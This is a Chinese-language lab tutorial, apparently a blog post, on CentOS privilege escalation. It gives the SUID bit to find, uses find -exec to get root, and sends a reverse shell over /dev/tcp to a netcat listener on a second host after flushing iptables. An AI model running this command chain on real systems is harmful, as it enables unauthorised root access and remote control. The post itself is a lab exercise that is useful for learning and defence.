centos利用find提权反弹shell

需要说明的是利用find命令进行提权的方式已经不存在了,因为Linux默认不会为find命令授予suid权限,这里只是刻意的制造出了一种存在提权的环境

首先我们先介绍一下find命令,find命令主要用来在Linux中查找文件使用,它可以进行最基础的打印操作,还可以根据文件的名称、类型、事假戳、大小、权限等来查找指定的文件。

利用find反弹shell实现提权主要依靠的就是find命令如果有suid的权限,那么在执行find命令的一瞬间会拥有root权限,又因为find命令可以使用执行的操作,所以有很大的危害。

那么我们现在就复现一下:

(1)首先可以查看一下find命令的权限

bash 复制代码
ls -al /usr/bin/find

可以看到并没有suid(s)权限

(2)那么我现在手动的为find授予suid的权限

bash 复制代码
chmod  u+s /usr/bin/find

我们再查看find的权限就会发现它已经有了s权限

(3)因为我现在还是在root用户下,始终是root权限,无法观察find命令提权的过程,我现在切换到一个普通的用户下:

bash 复制代码
su user1

(4)那么现在就可以测试一下find命令执行时会不会提升到root权限

bash 复制代码
find /etc/passwd -exec whoami \;

可以看到这里和我设想的一样,在find命令执行的一瞬间是root权限

(5)那么这是我在另一台centos对12345端口进行监听

bash 复制代码
nc -lvvp 12345

(5)这时我尝试在centos1上执行操作,尝试进行反弹shell

bash 复制代码
find  /etc/passwd -exec bash -ip >&/dev/tcp/192.168.159.201/12345 0>&1 \;

可以看到并没有成功,难道因为我们没有到192.168.159.201的路由吗,我们可是一个网段呀,那我就用ping命令看看

很明显可以ping通呀,那为什么在尝试执行时会报错说没有路由呢

(6)我想会不会是因为防火墙的原因,于是我在两台主机上都清除了防火墙的规则

bash 复制代码
iptables -F

(7)然后再次尝试

可以看到centos1成功的利用find的这样一个漏洞反弹到了centos2的shell

(8)我们可以查看一下ip地址看看是否为centos1

可以看到这就是我的centos1设备的ip地址

到这里使用find来实现反弹shell的漏洞就复现完成了

注:给find增加suid增加只是为了实验,记着做完实验后去除find的suid权限

bash 复制代码
chmod u-s /usr/bin/find
相关推荐
可涵不会debug3 分钟前
UU远程深度测评:重构远程控制体验的“无套路”标杆
运维·服务器
峰顶听歌的鲸鱼20 分钟前
1.云计算与服务器基础
运维·服务器·笔记·云计算·学习方法
IDOlaoluo31 分钟前
dotnet-sdk-5.0.400-linux-x64.tar.gz 安装教程(Linux 手动安装 .NET 5.0.400 SDK 步骤)
运维·服务器
waves浪游32 分钟前
基础开发工具(中)
linux
2501_9159184133 分钟前
iOS 混淆与 IPA 加固一页式行动手册(多工具组合实战 源码成品运维闭环)
android·运维·ios·小程序·uni-app·iphone·webview
艾莉丝努力练剑37 分钟前
【C++模版进阶】如何理解非类型模版参数、特化与分离编译?
linux·开发语言·数据结构·c++·stl
wdfk_prog1 小时前
[Linux]学习笔记系列 -- [kernel][irq]softirq
linux·笔记·学习
扶尔魔ocy1 小时前
【DIY】RS232串口监听头制作
运维·rs232
迎風吹頭髮1 小时前
Linux服务器编程实践60-双向管道:socketpair函数的实现与应用场景
linux·运维·服务器
试试勇气1 小时前
Linux学习笔记(九)--Linux进程终止与进程等待
linux·笔记·学习